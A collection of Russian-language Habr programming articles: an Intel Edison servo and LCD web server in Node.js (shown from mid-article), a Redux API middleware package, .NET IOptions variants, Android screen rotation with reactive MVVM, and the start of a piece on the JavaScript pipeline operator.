На плате экран подключен к I2C. Сервопривод подключается к D3. Сервер слушает 1337 порт. Приложение ожидает обращение к /right. При таком запросе, если возможно, выполняется поворот вправо и посылается ответ в формате JSON с информацией о положении стрелки. Аналогично обрабатывается обращение к /left и /center. При запросе вида /text/abcdef строка abcdef будет выведена на ЖК-экран. Работа с сервоприводом и экраном была рассмотрена ранее.
**Содержимое main.js**
```
var mraa = require('mraa');
//----- PWM -----
var value = 0.5;
var step = 0.05;
var frameSize = 20000;
var pwm3 = new mraa.Pwm(3);
pwm3.enable(true);
pwm3.period_us(frameSize);
setTime(value);
//---------- LCD ----------
var jsUpmI2cLcd = require ('jsupm_i2clcd');
var lcd = new jsUpmI2cLcd.Jhd1313m1(0, 0x3E, 0x62);
var express = require('express');
var http = require('http');
var app = express();
// папка со статическим контентом
app.use(express.static(__dirname + '/public'));
// поворот влево
app.get('/left', function (req, res)
{
value = fitValue(value-step);
setServoValue(res,value);
});
// поворот вправо
app.get('/right', function (req, res)
{
value = fitValue(value+step);
setServoValue(res,value);
});
// установка в центру
app.get('/center', function (req, res)
{
value = 0.5;
setServoValue(res,value);
});
// отображение текста на LCD
app.get('/text/:text', function (req, res)
{
var text = req.params.text;
var t = text.toString().substring(0, 16);
var vs = t + ' '.substring(0,16-t.length);
lcd.setCursor(0,0);
lcd.write(vs);
console.log('value='+vs+'=');
res.writeHead(200, {"Content-Type": "text/html"});
res.end();
});
// создание сервера
http.createServer(app).listen(1337);
// поворот и возврат положения в JSON
function setServoValue(res,v)
{
res.writeHead(200, {"Content-Type": "text/json"});
var text = '{"value":"'+value.toFixed(2)+'"}';
res.write(text);
console.log(text);
setTime(value);
res.end();
}
// установка значения для сервопривода
function setTime(valueRate)
{
var minServoTime = 420;
var maxServoTime = 2000;
var servoVal = Math.floor(minServoTime + (maxServoTime - minServoTime)*(1-valueRate));
pwm3.pulsewidth_us(servoVal);
}
// корректировка значения
function fitValue(v)
{
if( v > 1 ) { v = 1; }
if( v < 0 ) { v = 0; }
return v;
}
```
**Содержимое package.json**
```
{
"name": "PWM",
"description": "",
"version": "0.0.0",
"main": "main.js",
"engines": {
"node": ">=0.10.0"
},
"dependencies": {
"express" : "latest",
"http" : "latest"
}
}
```
Изображение rotate\_ccw.png
Изображение rotate\_cw.png
Изображение rotate\_center.png
Вот собственно и всё. Запускаем и проверяем.
### Демоны Node.JS
Пара слов о том, как работают демоны на плате Intel Edison.
В системе запущен демон xdk-daemon. Если его остановить командой:
```
systemctl stop xdk-daemon
```
тогда работающее Node.JS-приложение остановится. Запустить повторно можно командой:
```
systemctl start xdk-daemon
```
или перезапустить:
```
systemctl restart xdk-daemon
```
Программу можно редактировать и непосредственно на плате (vi), только не забывайте после изменения её перезапускать. Либо так:
```
systemctl restart xdk-daemon
```
Либо, если программа была запущена в консоли через команду:
```
cd /node_app_slot
node main.js
```
то остановить её можно через +
### Полезное
**»** [Воспроизведение звука на Intel Edison через Bluetooth с использованием Advanced Audio Distribution Profile (A2DP)](http://habrahabr.ru/company/intel/blog/258157/)
**»** [Установка OpenCV 3.0.0-rc1 (с использованием IPP и TBB) на Intel Edison Yocto. USB-камера в OpenCV](http://habrahabr.ru/company/intel/blog/258159/)
**»** [Использование платы Intel Edison для изменения цвета шара Orbotix Sphero при появлении новых твитов](http://habrahabr.ru/company/intel/blog/258163/)
**»** [Подключаемся к Intel Edison через Android с Bluetooth LE (BLE)](http://habrahabr.ru/company/intel/blog/252919/) | https://habr.com/ru/post/260259/ | null | ru | null |
# Redux: попытка избавиться от потребности думать во время запросов к API, часть 2
Мы хотим создать пакет, который позволит нам избавиться от постоянного создания однотипных reducer'ов и action creator'ов для каждой модели, получаемой по API.
Первая часть — [вот эта вот](https://habrahabr.ru/users/geoolekom/topics/) статья. В ней мы создали конфиг для нашего будущего пакета и выяснили, что он должен содержать action creator, middleware и reducer. Приступим к разработке!
### Action Creator
Начнем мы с самого простого — action creator'а. Тут наш вклад будет минимальным — нам нужно просто написать [традиционный action creator](https://www.npmjs.com/package/redux-api-middleware#a-simple-example) для `redux-api-middleware` с учетом нашего конфига.
Для получения юзеров он должен выглядеть приблизительно так:
```
import {CALL_API} from 'redux-api-middleware';
const get = () => ({
[CALL_API]: {
endpoint: 'mysite.com/api/users',
method: 'GET',
types: ['USERS_GET', 'USERS_SUCCESS', 'USERS_FAILURE']
}
});
```
В action можно добавить еще headers, credentials. Если запрос успешен, то мы получаем USERS\_SUCCESS, и у него в action.payload лежат полученные по API данные. Если произошла ошибка, — получаем USERS\_FAILURE, у которого в action.errors лежат ошибки. Все это подробно описано в [документации](https://www.npmjs.com/package/redux-api-middleware#defining-the-api-call).
В дальнейшем, для простоты рассуждений, будем считать, что данные в payload уже нормализованы. Нас интересует, как можно модернизировать наш creator для получения всех сущностей. Все довольно просто: для того, чтоб возвращать нужные сущности, передаем в creator название этой сущности:
```
import {CALL_API} from 'redux-api-middleware';
const initGet = (api) => (entity) => ({
[CALL_API]: {
endpoint: api[entity].endpoint, // endpoint мы будем брать из конфига
method: 'GET',
types: api[entity].types // и actions мы будем брать из конфига
}
});
```
Еще необходимо добавить фильтрацию ответа сервера по GET-параметрам, чтоб мы могли ходить только за нужными данными и не тащить ничего лишнего. Я предпочитаю передавать GET-параметры в качестве словаря и сериализовать их отдельным методом objectToQuery:
```
import {CALL_API} from 'redux-api-middleware';
const initGet = (api) => (entity, params) => ({
[CALL_API]: {
endpoint: `${api[entity].endpoint}${objectToQuery(params)}`,
method: 'GET',
types: api[entity].types
}
});
```
Инициализируем сам creator:
```
const get = initGet(config.api);
```
Теперь, вызывая с нужными аргументами метод get, мы отправим запрос о необходимых данных. Теперь надо позаботиться о том, как полученные данные хранить — напишем reducer.
### Reducer
Точнее, два. Один будет класть в store сущности, а другой — время их прихода. Хранить их в одном месте — плохая идея, ведь тогда мы будем смешивать чистые данные с локальным состоянием приложения на клиенте (ведь время прихода данных у каждого клиента свое).
Тут нам понадобятся те же successActionTypes и `react-addons-update`, который обеспечит иммутабельность store. Тут нам надо будет пройтись по каждой сущности из entities и сделать отдельный $merge, то есть, совместить ключи из defaultStore и receivedData.
```
const entitiesReducer = (entities = defaultStore, action) => {
if (action.type in successActionTypes) {
const processedData = {};
const receivedData = action.payload.entities || {};
for (let entity in receivedData) {
processedData[entity] = { $merge: receivedData[entity] };
}
return update(entities, processedData);
} else {
return entities;
}
};
```
Аналогично для timestampReducer, но там мы будем устанавливать текущее время прибытия данных в store:
```
const now = Date.now();
for (let id in receivedData[entity]) {
entityData[id] = now;
}
processedData[entity] = { $merge: entityData };
```
schema или lifetime, successActionTypes понадобятся нам при инициализации — аналогичный код мы писали в action creator'е.
Чтоб получить defaultState, сделаем так:
```
const defaultStore = {};
for (let key in schema) { // или lifetime, для второго reducer'а
defaultStore[key] = {};
}
```
successActionTypes можно получить из конфига api:
```
const getSuccessActionTypes = (api) => {
let actionTypes = {};
for (let key in api) {
actionTypes[api[key].types[1]] = key;
}
return actionTypes;
};
```
Это, конечно, задача простая, но один такой простой reducer сэкономит нам кучу времени на написании своего reducer'а для каждого типа данных.
Рутинная работа закончена — перейдем к основному компоненту нашего пакета, который и будет заботиться о том, чтоб ходить только за теми данными, которые реально нужны, и при этом не заставлять нас думать об этом.
### Middleware
Напомню, что мы считаем, что к нам приходят сразу нормализованные данные. Тогда в middleware мы должны пройтись по всем данным, полученным в entities, и собрать список id отсутствующих связанных сущностей, и сделать запрос к API за этими данными.
```
const middleware = store => next => action => {
if (action.type in successActionTypes) { // Если это action, в котором пришли данные
const entity = successActionTypes[action.type]; // Определяем тип данных
const receivedEntities = action.payload.entities || {};; // Достаем пришедшие сущности
const absentEntities = resolve(entity, store.getState(), receivedEntities); // Находим отсутствующие
for (let key in absentEntities) {
const ids = absentEntities[key]; // Получаем список id отсутствующих
if (ids instanceof Array && ids.length > 0) { // Если список не пустой
store.dispatch(get(key, {id: ids})); // Отправляем action, который идет за этими и только этими данными
}
}
}
return next(action);
}
```
successActionTypes, resolve и get нужно передавать middleware при инициализации.
Осталось только реализовать метод resolve, который будет определять, каких данных не хватает. Это, пожалуй, самая интересная и важная часть.
Для простоты мы будем считать, что в store.entities хранятся наши данные. Можно и это вынести как отдельный пункт конфига, и присоединять туда reducer, но на данном этапе это неважно.
Мы должны вернуть abcentEntities — словарь такого вида:
```
const absentEntities = {users: [1, 2, 3], posts: [107, 6, 54]};
```
Где в списках хранятся id отсутствующих данных. Чтоб определить, каких данные отсутствуют, нам и пригодятся наши schema и lifetime из конфига.
Вообще, по foreign key может лежать и список id, а не один id — никто не отменял many-to-many и one-to-many relations. Это нам надо будет учесть, проверив тип данных по foreign key, и, если что, сходить за всеми из списка.
```
const resolve = (type, state, receivedEntities) => {
let absentEntities = {};
for (let key in schema[type]) { // проходим по всем foreign key полученных
const keyType = schema[typeName][key]; // Получаем тип foreign key
absentEntities[keyType] = []; // Инициализируем будущий список отсутствующих
for (let id in receivedEntities[type]) { // Проходим по всем полученным сущностям
// Проверка на список
let keyIdList = receivedEntities[type][id][key];
if (!(keyIdList instanceof Array)) {
keyIdList = [keyIdList];
}
for (let keyId of keyIdList) {
// Проверяем, есть ли id в store
const present = state.entities.hasOwnProperty(keyType) && state.entities[keyType].hasOwnProperty(keyId);
// Проверяем, есть ли он в receivedEntities
const received = receivedEntities.hasOwnProperty(keyType) && receivedEntities[keyType].hasOwnProperty(keyId);
// Проверяем, не просрочены ли данные?
const relevant = present && !!lifetime ? state.timestamp[keyType][keyId] + lifetime[keyType] > Date.now() : true;
// Если он получен в данном action, или лежит в store и актуален, класть его в absent нет смысла
if (!(received || (present && relevant))) {
absentEntities[keyType].push(keyId);
}
}
}
};
```
Вот и все — немного головоломной логики и рассмотрения всех случаев, и наша функция готова. При инициализации надо не забыть передать в нее schema и lifetime из конфига.
### Заключение
В целом, все уже работает, если мы примем такие допущения:
1. Можно обойтись без тестирования.
2. Никто и никогда не допустит ошибку в конфигах.
3. Данные приходят в middleware уже нормализованными.
Все эти пункты (особенно первый!) необходимо тщательно проработать, и мы это сделаем в третьей части. Но это уже не так интересно, ведь почти весь код, выполняющий нашу цель, уже написан, поэтому для тех, кто захочет просто посмотреть и потестить самостоятельно, привожу ссылки:
* [код на github](https://github.com/geoolekom/redux-store-filler)
* [npm-пакет](https://www.npmjs.com/package/redux-store-filler) | https://habr.com/ru/post/330634/ | null | ru | null |
# IOptions и его друзья
Во время разработки часто возникает потребность для вынесения параметров в конфигурационные файлы. Да и вообще — хранить разные конфигурационный константы в коде является признаком дурного тона. Один из вариантов хранения настроек — использования конфигурационных файлов. .Net Core из коробки умеет работать с такими форматами как: json, ini, xml и другие. Так же есть возможность писать свои провайдеры конфигураций. (Кстати говоря за работу с конфигурациями отвечает сервис IConfiguration и IConfigurationProvider — для доступа к конфигурациям определенного формата и для написания своих провайдеров)
Но главная сложность, на мой взгляд, состоит в том, что у нас имеются аж 3 разные интерфейса для работы с конфигурациями. И не всегда понятно для чего они нужны и какой когда нужно использовать.
На MSDN есть [статья](https://docs.microsoft.com/en-us/aspnet/core/fundamentals/configuration/options?view=aspnetcore-3.1), которая должна раскрывать все вопросы. Но, как всегда, не все так просто.
IOptions
--------
> Does not support:
>
> Reading of configuration data after the app has started.
>
> Named options
>
>
>
> Is registered as a Singleton and can be injected into any service lifetime.
Вцелом, из описания все сразу становится ясно: загружает данные из конфигурационного файла при старте приложения, не подтягивает никаких изменений.
Но у меня большие претензии к Microsoft в плане нейминга. На мой взгляд, если человек недостаточно знаком с технологией, или вообще видит ее в первый раз, то данный интерфейс — это то, что первое придет на ум для использования. И потом, вероятно далеко не сразу, человек выяснит, что-то все работает совсем не так, как он задумывал.
Я привык, что довольно большая часть конфигураций в моих проектах может довольно часто меняться. И лично мне хотелось бы, что бы интерфейс, который буквально кричит о том, что его надо использовать для конфигурации вел себя более очевидно. (Хотя конечно я могу быть не прав, и это только мои придирки. А большая часть людей использует файлы конфигураций по-другому)
IOptionsSnapshot
----------------
> Is useful in scenarios where options should be recomputed on every request
>
>
>
> Is registered as Scoped and therefore cannot be injected into a Singleton service.
>
>
>
> Supports named options
Должен подходить для большинства ситуаций, о которых я писал выше. Обновляет информацию о конфигурации при каждом запросе. И что немаловажно, не изменяет ее во время запроса.
Подходит для множества случаев, например feature toggle.
MSDN нам говорит, что не может быть заинжекчен в Singletone — на самом деле может (это прям тема для отдельного поста), но тогда и сам он начинает себя вести как Singletone.
IOptionsMonitor
---------------
> Is used to retrieve options and manage options notifications for TOptions instances.
>
>
>
> Is registered as a Singleton and can be injected into any service lifetime.
>
>
>
> Supports:
>
> Change notifications
>
> Named options
>
> Reloadable configuration
>
> Selective options invalidation (IOptionsMonitorCache)
По сути — это доступ к вашим конфигурациям в режиме реального времени. Тут стоит быть осторожным. И если вы в процессе какого-то запроса читаете конфигурацию несколько раз — стоит быть готовым, что она может измениться.
IOptionsMonitorCache — интерфейс для построения обычного кэша на базе IOptionsMonitor.
Практика
--------
Все тесты проводились на следующем окружении
```
sw_vers
ProductName: Mac OS X
ProductVersion: 10.15.5
BuildVersion: 19F101
dotnet --version
3.1.301
```
Мы посмотрели, что говорит нам документация. Теперь давайте посмотри как это работает.
Сразу оставлю ссылку на [код](https://github.com/vladar107/options-testsing), если кто-то захочет ознакомиться подробнее.
В качестве примера будет простое Web API
```
public class Program
{
public static void Main(string[] args)
{
CreateHostBuilder(args).Build().Run();
}
public static IHostBuilder CreateHostBuilder(string[] args) =>
Host.CreateDefaultBuilder(args)
.ConfigureWebHostDefaults(webBuilder =>
{
webBuilder.UseKestrel();
webBuilder.UseStartup();
webBuilder.UseUrls("http://\*:5010/");
})
.UseDefaultServiceProvider(options => options.ValidateScopes = false);
}
```
Клиент, который будет к нему обращаться
```
static async Task Main(string[] args)
{
using var client = new HttpClient();
var prevResponse = String.Empty;
while (true)
{
var response = await client.GetStringAsync("http://localhost:5010/settings");
if (response != prevResponse) // пишем в консоль только, если настройки изменились
{
Console.WriteLine(response);
prevResponse = response;
}
}
}
```
В Web API создаем 3 сервиса, который принимает все 3 варианта конфигураций в конструктор и возвращают текущее значение.
```
private readonly IOptions \_testOptions;
private readonly IOptionsSnapshot \_testOptionsSnapshot;
private readonly IOptionsMonitor \_testOptionsMonitor;
public ScopedService(IOptions testOptions, IOptionsSnapshot testOptionsSnapshot,
IOptionsMonitor testOptionsMonitor)
{
\_testOptions = testOptions;
\_testOptionsSnapshot = testOptionsSnapshot;
\_testOptionsMonitor = testOptionsMonitor;
}
```
Сервисы будут 3х скоупов: Singletone, Scoped и Transient.
```
public void ConfigureServices(IServiceCollection services)
{
services.Configure(Configuration.GetSection("TestGroup"));
services.AddSingleton();
services.AddScoped();
services.AddTransient();
services.AddControllers();
}
```
В процессе работы нашего Web Api изменяем значение TestGroup.Test файла appsettings.json
Имеем следующую картину:
Сразу после запуска
```
SingletonService IOptions value: 0
SingletonService IOptionsSnapshot value: 0
SingletonService IOptionsMonitor value: 0
ScopedService IOptions value: 0
ScopedService IOptionsSnapshot value: 0
ScopedService IOptionsMonitor value: 0
TransientService IOptions value: 0
TransientService IOptionsSnapshot value: 0
TransientService IOptionsMonitor value: 0
```
Изменяем нашу настройку и получаем интересную картину
Сразу после изменения
```
SingletonService IOptions value: 0
SingletonService IOptionsSnapshot value: 0 // не изменилась
SingletonService IOptionsMonitor value: 0 // не изменилась
ScopedService IOptions value: 0
ScopedService IOptionsSnapshot value: // стала пустой
ScopedService IOptionsMonitor value: 0 // не изменилась
TransientService IOptions value: 0
TransientService IOptionsSnapshot value: // стала пустой
TransientService IOptionsMonitor value: 0 // не изменилась
```
Следующий вывод в консоль (конфиг больше не менялся)
```
SingletonService IOptions value: 0
SingletonService IOptionsSnapshot value: 0 // не изменилась
SingletonService IOptionsMonitor value: 0 // не изменилась
ScopedService IOptions value: 0
ScopedService IOptionsSnapshot value: changed setting // изменилась
ScopedService IOptionsMonitor value: 0 // не изменилась
TransientService IOptions value: 0
TransientService IOptionsSnapshot value: changed setting // изменилась
TransientService IOptionsMonitor value: 0 // не изменилась
```
Последний вывод (конфиг также не менялся)
```
SingletonService IOptions value: 0
SingletonService IOptionsSnapshot value: 0 // не изменилась
SingletonService IOptionsMonitor value: changed setting // изменилась
ScopedService IOptions value: 0
ScopedService IOptionsSnapshot value: changed setting // изменилась
ScopedService IOptionsMonitor value: changed setting // изменилась
TransientService IOptions value: 0
TransientService IOptionsSnapshot value: changed setting // изменилась
TransientService IOptionsMonitor value: changed setting // изменилась
```
Что имеем в итоге? А имеем то, что IOptionsMonitor — не такой шустрый, как нам говорит документация. Как можно заметить IOptionsSnapshot может вернуть пустое значение. Но, он работает быстрее, чем IOptionsMonitor.
Пока не особо понятно откуда берется это пустое значение. И самое интересное, что подобное поведение проявляется **не всегда**. Как-то через раз в моем примере IOptionsMonitor и IOptionsSnapshot отрабатывают одновременно.
Выводы
------
Если вам нужно передавать конфигурацию, которые никогда в процессе жизни вашего приложения не будут меняться используете IOptions.
Если ваши конфигурации будут меняться, то тут все как всегда — зависит. Если Вам важно, что бы в скоупе вашего запроса настройки были релевантны на момент запроса, IOptionsSnapshot — ваш выбор (но не для Singletone, в нем значение никогда не изменится). Но стоит учитывать его странности, хотя и столкнуться с ними вряд ли вам придется.
Если же вам нужны наиболее актуальные значения (или почти) используйте IOptionsMonitor.
Буду рад, если вы запустите пример у себя, и расскажете, повторяется подобное поведение или нет. Возможно мы имеем баг на MacOS, а может это by design.
Продолжу разбираться с этой темой, а пока завел [issue](https://github.com/dotnet/runtime/issues/37860), может там прояснят такое поведение. | https://habr.com/ru/post/507442/ | null | ru | null |
# Повороты экрана в Android без боли
**Важно!**
Изначально в статье была реализация с ошибкой. Ошибку исправил, статью немного поправил.
Предисловие
-----------
Истинное понимание проблем каждой платформы приходит после того, как попробуешь писать под другую платформу / на другом языке. И вот как раз после того, как я познакомился с разработкой под iOS, я задумался над тем, насколько ужасна реализация поворотов экрана в Android. С того момента я думал над решением данной проблемы. Попутно я начал использовать реактивное программирование везде, где только можно и уже даже не представляю как писать приложения по-другому.
И вот я узнал про последнюю недостающую деталь — Data Binding. Как-то эта библиотека прошла мимо меня в свое время, да и все статьи, что я читал (что на русском, что на английском) рассказывали не совсем про то, что мне было необходимо. И вот сейчас я хочу рассказать про реализацию приложения, когда можно будет забыть про повороты экранов вообще, все данные будут сохраняться без нашего прямого вмешательства для каждого активити.
Когда начались проблемы?
------------------------
По настоящему остро я почувствовал проблему, когда в одном проекте у меня получился экран на 1500 строк xml, по дизайну и ТЗ там было целая куча различных полей, которые становились видимыми при разных условиях. Получилось 15 различных layout’ов, каждый из которых мог быть видимым или нет. Плюс к этому была еще куча различных объектов, значения которых влияют на вьюху. Можете представить уровень проблем в момент поворота экрана.
Возможное решение
------------------
Сразу оговорюсь, я против фанатичного следования заветам какого-либо подхода, я пытаюсь делать универсальные и надежные решения, несмотря на то, как это смотрится с точки зрения какого-либо паттерна.
Я назову это реактивным MVVM. Абсолютно любой экран можно представить в виде объекта: TextView — параметр String, видимость объекта или ProgressBar’а — параметр Boolean и т.д… А так же абсолютно любое действие можно представить в виде Observable: нажатие кнопки, ввод текста в EditText и т.п…
Вот тут я советую остановиться и прочитать несколько статей про Data Binding, если еще не знакомы с этой библиотекой, благо, на хабре их полно.
Да начнется магия
-----------------
Перед тем как начать создавать нашу активити, создадим базовые классы для активити и ViewModel'ли, где и будет происходить вся магия.
**Update!**
После общения в комментариях, осознал свою ошибку. Суть в том, что в моей первой реализации ничего не сериализуется, но все работает при поворотах экрана, да даже при сворачивании, разворачивании экрана. В комментариях ниже обязательно почитайте почему так происходит. Ну а я исправлю код и поправлю комментарии к нему.
Для начала, напишем базовую ViewModel:
```
public abstract class BaseViewModel extends BaseObservable {
private CompositeDisposable disposables; //Для удобного управления подписками
private Activity activity;
protected BaseViewModel() {
disposables = new CompositeDisposable();
}
/**
* Метод добавления новых подписчиков
*/
protected void newDisposable(Disposable disposable) {
disposables.add(disposable);
}
/**
* Метод для отписки всех подписок разом
*/
public void globalDispose() {
disposables.dispose();
}
protected Activity getActivity() {
return activity;
}
public void setActivity(Activity activity) {
this.activity = activity;
}
public boolean isSetActivity() {
return (activity != null);
}
}
```
Я уже говорил, что все что угодно можно представить как Observable? И библиотека RxBinding отлично это делает, но вот беда, мы работает не напрямую с объектами, типа EditText, а с параметрами типа ObservableField. Что бы радоваться жизни и дальше, нам необходимо написать функцию, которая будет делать из ObservableField необходимый нам Observable RxJava2:
```
protected static Observable toObservable(@NonNull final ObservableField observableField) {
return Observable.fromPublisher(asyncEmitter -> {
final OnPropertyChangedCallback callback = new OnPropertyChangedCallback() {
@Override
public void onPropertyChanged(android.databinding.Observable dataBindingObservable, int propertyId) {
if (dataBindingObservable == observableField) {
asyncEmitter.onNext(observableField.get());
}
}
};
observableField.addOnPropertyChangedCallback(callback);
});
}
```
Тут все просто, передаем на вход ObservableField и получаем Observable RxJava2. Именно для этого мы наследуем базовый класс от BaseObservable. Добавим этот метод в наш базовый класс.
Теперь напишем базовый класс для активити:
```
public abstract class BaseActivity extends AppCompatActivity {
private static final String DATA = "data"; //Для сохранения данных
private T data; //Дженерик, ибо для каждого активити используется своя ViewModel
@Override
protected void onCreate(@Nullable Bundle savedInstanceState) {
if (savedInstanceState != null)
data = savedInstanceState.getParcelable(DATA); //Восстанавливаем данные если они есть
else
connectData(); //Если нету - подключаем новые
setActivity(); //Привязываем активити для ViewModel (если не используем Dagger)
super.onCreate(savedInstanceState);
}
@Override
public void onSaveInstanceState(Bundle outState) {
super.onSaveInstanceState(outState);
if (data != null) {
Log.d("my", "Данные сохранены");
outState.putParcelable(DATA, (Parcelable) data);
}
}
/\*\*
\* Метод onDestroy будет вызываться при любом повороте экрана, так что нам нужно знать
\* что мы сами закрываем активити, что бы уничтожить данные.
\*/
@Override
public void onDestroy() {
super.onDestroy();
Log.d("my", "onDestroy");
if (isFinishing())
destroyData();
}
/\*\*
\* Этот метод нужен только если вы не используете DI.
\* А так, это простой способ передать активити для каких-то действий с preferences или DB
\*/
private void setActivity() {
if (data != null) {
if (!data.isSetActivity())
data.setActivity(this);
}
}
/\*\*
\* Возврощаем данные
\*
\* @return возврощает ViewModel, которая прикреплена за конкретной активити
\*/
public T getData() {
Log.d("my", "Отдаем данные");
return data;
}
/\*\*
\* Прикрепляем ViewModel к активити
\*
\* @param data
\*/
public void setData(T data) {
this.data = data;
}
/\*\*
\* Уничтожаем данные, предварительно отписываемся от всех подписок Rx
\*/
public void destroyData() {
if (data != null) {
data.globalDispose();
data = null;
Log.d("my", "Данные уничтожены");
}
}
/\*\*
\* Абстрактный метод, который вызывается, если у нас еще нет сохраненных данных
\*/
protected abstract void connectData();
}
```
Я постарался подробно прокомментировать код, но заострю внимание на нескольких вещах.
Активити, при повороте экрана всегда уничтожается. Тогда, при восстановлении снова вызывается метод onCreate. Вот как раз в методе onCreate нам и нужно восстанавливать данные, предварительно проверив, сохраняли ли мы какие-либо данные. Сохранение данных происходит в методе onSaveInstanceState.
При повороте экрана нас интересует порядок вызовов методов, а он такой (то, что интересует нас):
1) onDestroy
2) onSaveInstanceState
Что бы не сохранять уже не нужные данные мы добавили проверку:
```
if (isFinishing())
```
Дело в том, что метод isFinishing вернет true только если мы явно вызвали метод finish() в активити, либо же ОС сама уничтожила активити из-за нехватки памяти. В этих случаях нам нет необходимости сохранять данные.
Реализация приложения
---------------------
Представим условную задачу: нам необходимо сделать экран, где будет 1 EditText, 1 TextView и 1 кнопка. Кнопка не должна быть кликабельной до тех пор, пока пользователь не введет в EditText цифру 7. Сама же кнопка будет считать количество нажатий на нее, отображая их через TextView.
**Update!**
Пишем нашу ViewModel:
```
public class ViewModel extends BaseViewModel implements Parcelable {
public static final Creator CREATOR = new Creator() {
@Override
public ViewModel createFromParcel(Parcel in) {
return new ViewModel(in);
}
@Override
public ViewModel[] newArray(int size) {
return new ViewModel[size];
}
};
private ObservableBoolean isButtonEnabled = new ObservableBoolean(false);
private ObservableField count = new ObservableField<>();
private ObservableField inputText = new ObservableField<>();
public ViewModel() {
count.set("0"); //Что бы не делать проверку на ноль при плюсе
setInputText();
}
protected ViewModel(Parcel in) {
isButtonEnabled = in.readParcelable(ObservableBoolean.class.getClassLoader());
inputText = (ObservableField) in.readSerializable();
count = (ObservableField) in.readSerializable();
setInputText();
}
private void setInputText() {
newDisposable(toObservable(inputText)
.debounce(2000, TimeUnit.MILLISECONDS) //Для имитации ответа от сервера
.subscribeOn(Schedulers.newThread()) //Работаем не в основном потоке
.subscribe(s -> {
if (s.contains("7"))
isButtonEnabled.set(true);
else
isButtonEnabled.set(false);
},
Throwable::printStackTrace));
}
/\*\*
\* Добавляем значение в счетчик
\*/
public void addCount() {
count.set(String.valueOf(Integer.valueOf(count.get()) + 1));
}
public ObservableField getInputText() {
return inputText;
}
public ObservableField getCount() {
return count;
}
public ObservableBoolean getIsButtonEnabled() {
return isButtonEnabled;
}
@Override
public int describeContents() {
return 0;
}
@Override
public void writeToParcel(Parcel dest, int flags) {
dest.writeParcelable(isButtonEnabled, flags);
dest.writeSerializable(inputText);
dest.writeSerializable(count);
}
}
```
**Update**
Вот тут и и были самые большие проблемы. Все работало и при старой реализации, ровно до того момента, пока в настройках разработчика не включить параметр «Don't keep activities».
Что бы все работало как надо, необходимо реализовывать интерфейс Parcelable для ViewModel. По поводу реализации ничего писать не буду, только уточню еще 1 момент:
```
private void setInputText() {
newDisposable(toObservable(inputText)
.debounce(2000, TimeUnit.MILLISECONDS) //Для имитации ответа от сервера
.subscribeOn(Schedulers.newThread()) //Работаем не в основном потоке
.subscribe(s -> {
if (s.contains("7"))
isButtonEnabled.set(true);
else
isButtonEnabled.set(false);
},
Throwable::printStackTrace));
}
```
Данные-то мы возвращаем, а вот Observable мы теряем. Поэтому пришлось выводить в отдельный метод и вызывать его во всех конструкторах. Это очень быстрое решение проблемы, не было времени подумать лучше, нужно было было указать на ошибку. Если у кого-то есть идеи как реализовать это лучше, пожалуйста, поделитесь.
Теперь напишем для этой модели view:
```
xml version="1.0" encoding="utf-8"?
```
Ну и теперь, мы пишем нашу активити:
```
public class MainActivity extends BaseActivity {
ActivityMainBinding binding;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
binding = DataBindingUtil.setContentView(this, R.layout.activity\_main); //Биндим view
binding.setViewModel(getData()); //Устанавливаем ViewModel, при этом методом getData, что бы вручную не сохронять данные
}
//Тут можно делать какие угодно предварительные шаги для создания ViewModel
@Override
protected void connectData() {
setData(new ViewModel()); //Но данные устанавливаются только методом setData
}
}
```
Запускаем приложение. Кнопка не кликабельна, счетчик показывает 0. Вводим цифру 7, вертим телефон как хотим, через 2 секунды, в любом случае кнопка становится активной, тыкаем на кнопку и счетчик растет. Стираем цифру, вертим телефоном снова — кнопка все равно через 2 секунды будет не кликабельна, а счетчик не сбросится.
Все, мы получили реализацию безболезненного поворота экрана без потери данных. При этом будут сохранены не только ObservableField и тому подобные, но так же и объекты, массивы и простые параметры, типа int.
Готовый и исправленный код [тут](https://github.com/AetherQuinque/ReactiveMvvm) | https://habr.com/ru/post/328512/ | null | ru | null |
# JavaScript: заметка об операторе конвейера
Привет, друзья!
В этой небольшой заметке я хочу рассказать вам об одном интересном предложении по дальнейшему совершенствованию всеми нами любого JavaScript, а именно: об [`операторе конвейера (pipe operator) |>`](https://github.com/tc39/proposal-pipeline-operator).
На сегодняшний день данное предложение находится на 2 стадии рассмотрения. Это означает, что даже если все пойдет по плану, новый оператор будет стандартизирован года через два. Кроме того, синтаксис и возможности, о которых мы будем говорить, могут претерпеть некоторые изменения.
Если вам это интересно, прошу под кат.
Сегодня в JavaScript существует 2 основных способа выполнения последовательных операций (например, вызовов функций) над значением:
* передача значения операции в качестве аргумента (вложенные операции — `three(two(one(value)))`);
* вызов функции как метода значения (цепочка методов — `value.one().two().three()`).
Пример первого способа:
```
const toUpperCase = (str) => str.toUpperCase()
const removeSpaces = (str) => str.replace(/\s/g, '')
const addExclamation = (str) => str + '!'
const formatStr = (str) => toUpperCase(removeSpaces(addExclamation(str)))
console.log(formatStr('hello world')) // HELLOWORLD!
```
Пример второго способа:
```
const formatStr = (str) =>
str
.padEnd(str.length + 1, '!')
.replace(/\s/g, '')
.toUpperCase()
console.log(formatStr('hello world')) // HELLOWORLD!
```
Следует отметить, что существует также третий способ — реализация соответствующей утилиты:
```
const pipe = (...fns) =>
fns.reduce(
(prevFn, nextFn) =>
(...args) =>
nextFn(prevFn(...args))
)
const formatStr = pipe(toUpperCase, removeSpaces, addExclamation)
console.log(formatStr('hello world')) // HELLOWORLD!
```
Или, в случае с асинхронными функциями:
```
const pipeAsync =
(...fns) =>
(...args) =>
fns.reduce(
(prevFn, nextFn) => prevFn.then(nextFn),
Promise.resolve(...args)
)
const sleep = (ms) => new Promise((r) => setTimeout(r, ms))
const sayHiAndSleep = async (name) => {
console.log(`Hi, ${name}!`)
await sleep(1000)
return name.toUpperCase()
}
const askQuestionAndSleep = async (name) => {
console.log(`How are you, ${name}?`)
await sleep(1000)
return new TextEncoder()
.encode(name) // Uint8Array
.toString()
.replaceAll(',', '-')
}
const sayBi = async (name) => {
console.log(`Bye, ${name}!`)
}
const speak = pipeAsync(sayHiAndSleep, askQuestionAndSleep, sayBi)
speak('John')
/*
Hi, John! - сразу
How are you, JOHN? - через 1 сек
Bye, 74-79-72-78! - через 1 сек
*/
```
Но вернемся к встроенным способам выполнения последовательных операций.
Проблемы
--------
Оба названных выше способа имеют свои недостатки.
